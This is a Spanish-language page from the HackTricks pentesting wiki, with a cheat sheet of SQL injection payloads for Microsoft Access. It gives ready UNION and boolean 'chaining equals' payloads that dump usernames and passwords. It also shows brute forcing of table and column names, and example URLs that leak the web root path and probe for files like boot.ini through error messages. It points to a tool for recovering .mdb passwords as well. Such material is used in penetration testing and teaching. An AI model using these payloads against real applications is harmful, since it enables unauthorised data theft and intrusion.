# Inyección SQL en MS Access
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) - **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Playground en línea * [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1) ## Limitaciones de la BD ### Concatenación de cadenas La concatenación de cadenas es posible con los caracteres `& (%26)` y `+ (%2b)`. ```sql 1' UNION SELECT 'web' %2b 'app' FROM table%00 1' UNION SELECT 'web' %26 'app' FROM table%00 ``` ### Comentarios No hay comentarios en MS Access, pero aparentemente es posible eliminar el último carácter de una consulta con un carácter NULL: ```sql 1' union select 1,2 from table%00 ``` Si esto no funciona, siempre puedes arreglar la sintaxis de la consulta: ```sql 1' UNION SELECT 1,2 FROM table WHERE ''=' ``` ### Consultas apiladas No son compatibles. ### LIMIT El operador **`LIMIT`** **no está implementado**. Sin embargo, es posible limitar los resultados de una consulta SELECT a las **primeras N filas de la tabla usando el operador `TOP`**. `TOP` acepta como argumento un número entero que representa el número de filas que se deben devolver. ```sql 1' UNION SELECT TOP 3 attr FROM table%00 ``` Al igual que TOP, se puede usar **`LAST`** para obtener las **filas desde el final**. ## Consultas de UNION/Subconsultas En una inyección SQL, normalmente se querrá ejecutar una nueva consulta para extraer información de otras tablas. MS Access siempre requiere que en **subconsultas o consultas adicionales se indique un `FROM`**.\ Por lo tanto, si se desea ejecutar un `UNION SELECT` o `UNION ALL SELECT` o un `SELECT` entre paréntesis en una condición, siempre **se necesita indicar un `FROM` con un nombre de tabla válido**.\ Por lo tanto, se necesita conocer un **nombre de tabla válido**. ```sql -1' UNION SELECT username,password from users%00 ``` ### Encadenamiento de iguales + Subcadena {% hint style="warning" %} Esto te permitirá extraer valores de la tabla actual sin necesidad de conocer el nombre de la tabla. {% endhint %} **MS Access** permite una sintaxis extraña como **`'1'=2='3'='asd'=false`**. Como usualmente la inyección SQL estará dentro de una cláusula **`WHERE`**, podemos abusar de esto. Imagina que tienes una inyección SQL en una base de datos de MS Access y sabes (o adivinaste) que el nombre de una **columna es username**, y ese es el campo que quieres **exfiltrar**. Podrías verificar las diferentes respuestas de la aplicación web cuando se usa la técnica de encadenamiento de iguales y potencialmente exfiltrar contenido con una inyección booleana usando la función **`Mid`** para obtener subcadenas. ```sql '=(Mid(username,1,3)='adm')=' ``` Si conoces el **nombre de la tabla** y la **columna** que deseas extraer, puedes utilizar una combinación de `Mid`, `LAST` y `TOP` para **filtrar toda la información** a través de una inyección SQL booleana: ```sql '=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')=' ``` ### Fuerza bruta de nombres de tablas Usando la técnica de encadenamiento de iguales, también puedes **realizar una fuerza bruta de nombres de tablas** con algo como: ```sql '=(select+top+1+'lala'+from+)=' ``` También se puede utilizar un método más tradicional: ```sql -1' AND (SELECT TOP 1 )%00 ``` _Siéntete libre de comprobar esto en el playground en línea._ * Nombres comunes de tablas en Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt) * Hay otra lista en [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) ### Fuerza bruta de nombres de columnas Puedes **forzar por fuerza bruta los nombres de las columnas actuales** con el truco de encadenamiento de iguales con: ```sql '=column_name=' ``` O con un **group by**: ```sql -1' GROUP BY column_name%00 ``` O puedes hacer fuerza bruta en los nombres de columna de una **tabla diferente** con: ```sql '=(SELECT TOP 1 column_name FROM valid_table_name)=' -1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00 ``` ### Volcado de datos Ya hemos discutido la [**técnica de encadenamiento de iguales**](ms-access-sql-injection.md#chaining-equals-+-substring) **para volcar datos de las tablas actuales y otras**. Pero hay otras formas: ```sql IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') ``` En resumen, la consulta utiliza una declaración "si-entonces" para activar un "200 OK" en caso de éxito o un "500 Error interno" en caso contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso posterior de LAST permite considerar solo la décima tupla. En ese valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Cambiando adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "nombre de usuario" para todas las filas. ### Basado en tiempo Consulte [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN) ### Otras funciones interesantes * `Mid('admin',1,1)` obtener subcadena desde la posición 1 longitud 1 (la posición inicial es 1) * `LEN('1234')` obtener longitud de cadena * `ASC('A')` obtener valor ascii del carácter * `CHR(65)` obtener cadena a partir del valor ascii * `IIF(1=1,'a','b')` si entonces * `COUNT(*)` Contar número de elementos ## Enumerando tablas Desde [**aquí**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) puede ver una consulta para obtener los nombres de las tablas: ```sql select MSysObjects.name from MSysObjects where MSysObjects.type In (1,4,6) and MSysObjects.name not like '~*' and MSysObjects.name not like 'MSys*' order by MSysObjects.name ``` Sin embargo, tenga en cuenta que es muy común encontrar Inyecciones SQL donde **no se tiene acceso para leer la tabla `MSysObjects`**. ## Acceso al sistema de archivos ### Ruta completa del directorio raíz web El conocimiento de la **ruta absoluta del directorio raíz web puede facilitar ataques posteriores**. Si los errores de la aplicación no están completamente ocultos, la ruta del directorio se puede descubrir intentando seleccionar datos de una base de datos inexistente. `http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` MS Access responde con un **mensaje de error que contiene la ruta completa del directorio web**. ### Enumeración de archivos El siguiente vector de ataque se puede utilizar para **inferir la existencia de un archivo en el sistema de archivos remoto**. Si el archivo especificado existe, MS Access desencadena un mensaje de error informando que el formato de la base de datos es inválido: `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` Otra forma de enumerar archivos consiste en **especificar un elemento de base de datos.tabla**. **Si** el **archivo especificado existe**, MS Access muestra un **mensaje de error de formato de base de datos**. `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00` ### Adivinanza del nombre del archivo .mdb El **nombre del archivo de base de datos (.mdb)** se puede inferir con la siguiente consulta: `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` Donde **name\[i] es un nombre de archivo .mdb** y **realTable es una tabla existente** dentro de la base de datos. Aunque MS Access siempre desencadenará un mensaje de error, es posible distinguir entre un nombre de archivo inválido y un nombre de archivo .mdb válido. ### Descifrador de contraseñas .mdb [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) es una utilidad gratuita que se puede utilizar para recuperar la contraseña principal de la base de datos de Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0. ## Referencias * [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) - **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.